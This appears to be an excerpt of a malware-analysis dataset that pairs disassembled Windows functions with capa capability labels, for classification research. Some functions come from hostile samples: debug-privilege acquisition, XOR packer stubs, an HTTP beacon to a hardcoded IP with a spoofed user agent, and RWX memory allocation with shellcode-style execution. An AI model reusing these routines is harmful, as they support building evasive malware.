joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5be1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.005be140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.005be140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.005be140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.005be140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x5bebfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x5bec50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x5d087c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x5bec43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x5bec52
xor eax, eax
pop esi
leave
ret 4

Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..rdata
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0x5eb73f10
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x219f0abe
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
push str.http:__91.202.233.141_ALLBSTATAASASD
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0
je 0x401074
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x3f0]
push ecx
mov edx, dword [ebp - 0x3f4]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3f4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x401090
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x410]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x410]
push ecx
push str._s488888888888fs.txt
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4010e3
xor al, al
jmp 0x40111d
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40111b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x100012b0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
mov eax, dword [0x10020060]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xd8], ecx
mov eax, dword [ebp + 8]
push eax
push 0x1001cd40
mov ecx, dword [ebp - 0xd8]
push ecx
call fcn.10006020
add esp, 0xc
mov dword [ebp - 0xb4], 0x400
mov dword [ebp - 0xb0], 0
push 0x10
lea edx, [ebp - 0xc4]
push edx
push 0x12
mov eax, dword [ebp - 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea ecx, [ebp - 0xc4]
push ecx
call fcn.10007d90
add esp, 4
mov dword [ebp - 0xac], eax
push 0x10
lea edx, [ebp - 0xc4]
push edx
push 0x10
mov eax, dword [ebp - 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea ecx, [ebp - 0xc4]
push ecx
call fcn.10007d90
add esp, 4
mov dword [ebp - 0xa8], eax
push 0x10
lea edx, [ebp - 0xd4]
push edx
push 0xe
mov eax, dword [ebp - 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0xa4], ecx
push 0x10
lea edx, [ebp - 0x14]
push edx
push 0xf
mov eax, dword [ebp - 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0xa0], ecx
push 0x10
lea edx, [ebp - 0xc4]
push edx
push 0x1010
mov eax, dword [ebp - 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea ecx, [ebp - 0xc4]
push ecx
call fcn.10007d90
add esp, 4
mov dword [ebp - 0x9c], eax
push 0x80
lea edx, [ebp - 0x98]
push edx
lea eax, [ebp - 0xb0]
push eax
mov ecx, dword [ebp - 0xd8]
call fcn.1000b9f0
push eax
push 0
mov ecx, dword [ebp - 0xb4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
lea edx, [ebp - 0x98]
push edx
push 0x1001cd44
mov eax, dword [ebp - 0xd8]
push eax
call fcn.10006020
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f271
mov esp, ebp
pop ebp
ret 4
Function at 0x100047b0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001a6e8
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x10020060]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [ebp + 0xc]
call fcn.10005ca0
mov ecx, 0x10021f10
call fcn.10004b40
movzx eax, al
test eax, eax
jne 0x10004890
cmp dword [ebp + 8], 0x91
je 0x10004890
lea ecx, [ebp - 0x14]
call fcn.10006550
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
push ecx
push 0x1001cd40
lea edx, [ebp - 0x14]
push edx
call fcn.10006020
add esp, 0xc
mov ecx, 0x10021f10
call fcn.1000b9f0
push eax
push 0x3e8
push 0x3e8
mov ecx, dword [ebp + 0xc]
call fcn.100063a0
push eax
push 0x1001cdf4
lea ecx, [ebp - 0x14]
call fcn.1000b9f0
push eax
push str.strings
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0xc]
call fcn.10005f90
push 0x1001cde0
push 0x1001cde4
mov ecx, dword [ebp + 0xc]
call fcn.100048f0
test eax, eax
je 0x10004881
jmp 0x10004869
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.100063c0
mov ecx, dword [ebp + 0xc]
call fcn.10004b40
movzx ecx, al
test ecx, ecx
je 0x100048ab
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp + 0xc]
call fcn.10005bf0
mov ecx, dword [ebp + 0xc]
call fcn.10004b40
movzx eax, al
neg eax
sbb eax, eax
add eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x10006ac0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001a558
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x10020060]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov dword [eax], vtable.CDownloadDlg.0
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x44], vtable.CDownloadDlg.1.0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x10]
movzx eax, byte [edx + 4]
test eax, eax
jne 0x10006b28
movzx ecx, byte [0x10021eda]
test ecx, ecx
jne 0x10006b28
mov ecx, dword [ebp - 0x10]
add ecx, 0x30
call fcn.1000b9f0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x10]
add ecx, 0x68
call fcn.100063c0
mov ecx, dword [ebp - 0x10]
add ecx, 0x44
call fcn.10007d00
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
call fcn.10001500
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x1000b450
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
xor eax, eax
jne 0x1000b459
xor ecx, ecx
jne 0x1000b459
xor edx, edx
cmp dword [ebp + 0xc], 0
setne dl
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
jne 0x1000b47a
mov eax, 0xd
jmp 0x1000b4a6
xor eax, eax
jne 0x1000b461
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1000b560
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
xor eax, eax
jne 0x1000b569
xor ecx, ecx
jne 0x1000b569
xor edx, edx
cmp dword [ebp + 0xc], 0
setne dl
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
jne 0x1000b58a
mov eax, 0xd
jmp 0x1000b5df
xor eax, eax
jne 0x1000b571
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
cmp dword [ebp - 0xc], 1
jne 0x1000b59b
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 0xc]
push eax
push 7
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret 8
Function at 0x1000c240
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x10020060]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x130], ecx
lea ecx, [ebp - 0x14]
call fcn.1000c3a0
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax + 4]
or ecx, 0x2001f
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x14]
call fcn.1000c1d0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x1000c2ab
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x124], edx
lea ecx, [ebp - 0x14]
call fcn.1000c420
mov eax, dword [ebp - 0x124]
jmp 0x1000c33c
mov dword [ebp - 4], pe_nt_image_headers32
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x120]
push edx
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x1000c311
lea ecx, [ebp - 0x120]
push ecx
lea ecx, [ebp - 0x14]
call fcn.1000c240
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x1000c308
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x128], edx
lea ecx, [ebp - 0x14]
call fcn.1000c420
mov eax, dword [ebp - 0x128]
jmp 0x1000c33c
mov dword [ebp - 4], pe_nt_image_headers32
jmp 0x1000c2b2
lea ecx, [ebp - 0x14]
call fcn.1000c3d0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x130]
call fcn.1000c470
mov dword [ebp - 0x12c], eax
lea ecx, [ebp - 0x14]
call fcn.1000c420
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000f271
mov esp, ebp
pop ebp
ret 4
Function at 0x1000e240
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov ecx, dword [ebp - 0x14]
call fcn.1000e2d0
mov ecx, eax
call fcn.1000b9f0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000e2b3
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
add eax, 1
push eax
mov ecx, dword [ebp + 0xc]
call fcn.100063a0
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp + 0xc]
call fcn.100060e0
mov eax, dword [ebp - 0xc]
jmp 0x1000e2bd
mov ecx, dword [ebp + 0xc]
call fcn.10005ca0
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x1000f12c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x100213e0], 0
push esi
jne 0x1000f09f
call fcn.1000efc5
test eax, eax
je 0x1000f0e2
mov eax, dword [0x100213e0]
cmp eax, 1
jne 0x1000f0c0
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x1000f0e2
pop esi
ret
push eax
call dword [0x100213e8]
test eax, eax
jne 0x1000f12a
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000f0e6
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x100213e0]
call dword [0x100213e8]
mov edi, eax
test edi, edi
je 0x1000f10b
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1000f127
mov edi, esi
add esi, 0xff0
push edi
push dword [0x100213e0]
call dword [0x100213e4]
add edi, 0x10
cmp edi, esi
jb 0x1000f113
mov eax, edi
pop edi
pop esi
ret
jmp 0x1000f08c

Function at 0x1000f271
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10020060]
jne 0x1000f27b
repz ret
jmp fcn.1001053c
Function at 0x100181d0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10012821
and dword [ebp - 4], 0
cmp dword [0x10021df8], 0
mov ebx, eax
jne 0x10018281
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10018332
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1001ccdc
push edi
call esi
test eax, eax
je 0x10018332
push eax
call fcn.100127af
mov dword [esp], 0x1001cccc
push edi
mov dword [0x10021df8], eax
call esi
push eax
call fcn.100127af
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10021dfc], eax
call esi
push eax
call fcn.100127af
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10021e00], eax
call esi
push eax
call fcn.100127af
pop ecx
mov dword [0x10021e08], eax
test eax, eax
je 0x10018281
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.100127af
pop ecx
mov dword [0x10021e04], eax
mov eax, dword [0x10021e04]
cmp eax, ebx
je 0x100182d9
cmp dword [0x10021e08], ebx
je 0x100182d9
push eax
call fcn.1001282a
push dword [0x10021e08]
mov esi, eax
call fcn.1001282a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x100182d9
test edi, edi
je 0x100182d9
call esi
test eax, eax
je 0x100182d0
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x100182d0
test byte [ebp - 0xc], 1
jne 0x100182d9
or dword [ebp + 0x10], 0x200000
jmp 0x10018312
mov eax, dword [0x10021dfc]
cmp eax, ebx
je 0x10018312
push eax
call fcn.1001282a
pop ecx
test eax, eax
je 0x10018312
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10018312
mov eax, dword [0x10021e00]
cmp eax, ebx
je 0x10018312
push eax
call fcn.1001282a
pop ecx
test eax, eax
je 0x10018312
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10021df8]
call fcn.1001282a
pop ecx
test eax, eax
je 0x10018332
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10018334
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x54e56467
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..rdata
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x66a8624b
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401000
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
mov edx, 0x811c9dc5
test esi, esi
je 0x401027
push edi
mov edi, dword [esp + 0xc]
movzx eax, byte [ecx + edi]
xor edx, eax
inc ecx
imul edx, edx, 0x1000193
cmp ecx, esi
jb 0x401015
pop edi
mov eax, edx
pop esi
ret

Function at 0x401110
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x461d6a
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push esi
mov eax, dword [0x4772d4]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
push 0
call fcn.0041fa66
mov dword [esp + 0x20], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [esp + 0x20], 6
mov eax, dword [esp + 0x28]
test eax, eax
jne 0x4011b9
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], str.bad_locale_name
call fcn.00408be0
push 0x4753dc
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x14], vtable.std::runtime_error.0
call fcn.00414d61
push eax
push esi
call fcn.0041f810
add esp, 8
mov eax, esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x1c
ret 4

Function at 0x401390
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x461c70
mov eax, dword fs:[0]
push eax
sub esp, 0x64
push esi
mov eax, dword [0x4772d4]
xor eax, esp
push eax
lea eax, [esp + 0x6c]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
mov dword [esi + 4], 0
mov dword [esp + 0x74], 0
push 0x46a0d8
lea ecx, [esp + 0x3c]
mov dword [esi], vtable.std::codecvt_wchar_t__char__int_.0
call fcn.00401110
lea eax, [esp + 0xc]
push eax
mov byte [esp + 0x78], 1
call fcn.0041f4ca
movq xmm0, qword [eax]
movq qword [esi + 8], xmm0
movq xmm0, qword [eax + 8]
movq qword [esi + 0x10], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x18], xmm0
movq xmm0, qword [eax + 0x18]
movq qword [esi + 0x20], xmm0
movq xmm0, qword [eax + 0x20]
movq qword [esi + 0x28], xmm0
mov eax, dword [eax + 0x28]
add esp, 4
lea ecx, [esp + 0x38]
mov dword [esi + 0x30], eax
call fcn.004011e0
mov eax, esi
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x70
ret 4
Function at 0x401450
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x461c38
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push esi
mov eax, dword [0x4772d4]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
mov eax, dword [esp + 0x4c]
mov dword [esi + 4], eax
lea eax, [esp + 0xc]
mov dword [esp + 0x40], 0
push eax
mov dword [esi], vtable.std::codecvt_wchar_t__char__int_.0
call fcn.0041f4ca
movq xmm0, qword [eax]
movq qword [esi + 8], xmm0
movq xmm0, qword [eax + 8]
movq qword [esi + 0x10], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x18], xmm0
movq xmm0, qword [eax + 0x18]
movq qword [esi + 0x20], xmm0
movq xmm0, qword [eax + 0x20]
movq qword [esi + 0x28], xmm0
mov eax, dword [eax + 0x28]
mov dword [esi + 0x30], eax
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x3c
ret 8

Function at 0x402a50
Capabilities:
Hash data using fnv

Disassembly:
mov ecx, dword [0x47d550]
mov eax, dword [esp + 8]
cmp eax, dword [ecx]
jne 0x402a79
cmp dword [esp + 0xc], ecx
jne 0x402a79
call fcn.004039a0
mov eax, dword [0x47d550]
mov ecx, dword [eax]
mov eax, dword [esp + 4]
mov dword [eax], ecx
ret 0xc
cmp eax, dword [esp + 0xc]
je 0x402b88
push ebx
push esi
push edi
mov esi, eax
mov eax, dword [eax]
mov dword [esp + 0x14], eax
movzx edx, byte [esi + 8]
movzx ecx, byte [esi + 9]
xor edx, 0x811c9dc5
imul edx, edx, 0x1000193
xor edx, ecx
movzx ecx, byte [esi + 0xa]
imul edx, edx, 0x1000193
mov ebx, dword [0x47d564]
xor edx, ecx
movzx ecx, byte [esi + 0xb]
imul edx, edx, 0x1000193
xor edx, ecx
imul edx, edx, 0x1000193
mov edi, ebx
and edi, edx
cmp dword [0x47d568], edi
ja 0x402add
shr ebx, 1
or ecx, 0xffffffff
sub ecx, ebx
add edi, ecx
mov ecx, dword [0x47d558]
cmp dword [ecx + edi*8 + 4], esi
lea ecx, [ecx + edi*8]
jne 0x402b10
cmp dword [ecx], esi
jne 0x402b08
mov eax, dword [0x47d550]
mov dword [ecx], eax
mov ecx, dword [0x47d558]
mov eax, dword [0x47d550]
mov dword [ecx + edi*8 + 4], eax
jmp 0x402b18
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
jmp 0x402b18
cmp dword [ecx], esi
jne 0x402b1c
mov eax, dword [esi]
mov dword [ecx], eax
mov eax, dword [esp + 0x14]
cmp esi, dword [0x47d550]
je 0x402b7b
mov ecx, dword [esi + 4]
mov eax, dword [esi]
mov dword [ecx], eax
mov ecx, dword [esi]
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
mov eax, dword [esi + 0x14]
test eax, eax
je 0x402b58
push eax
call fcn.0040b238
add esp, 4
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
lea ecx, [esi + 0xc]
call fcn.00404260
push dword [esi + 0xc]
call fcn.0040b238
push esi
call fcn.0040b238
mov eax, dword [esp + 0x1c]
add esp, 8
dec dword [0x47d554]
cmp eax, dword [esp + 0x18]
jne 0x402a86
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 4]
mov dword [ecx], eax
mov eax, ecx
ret 0xc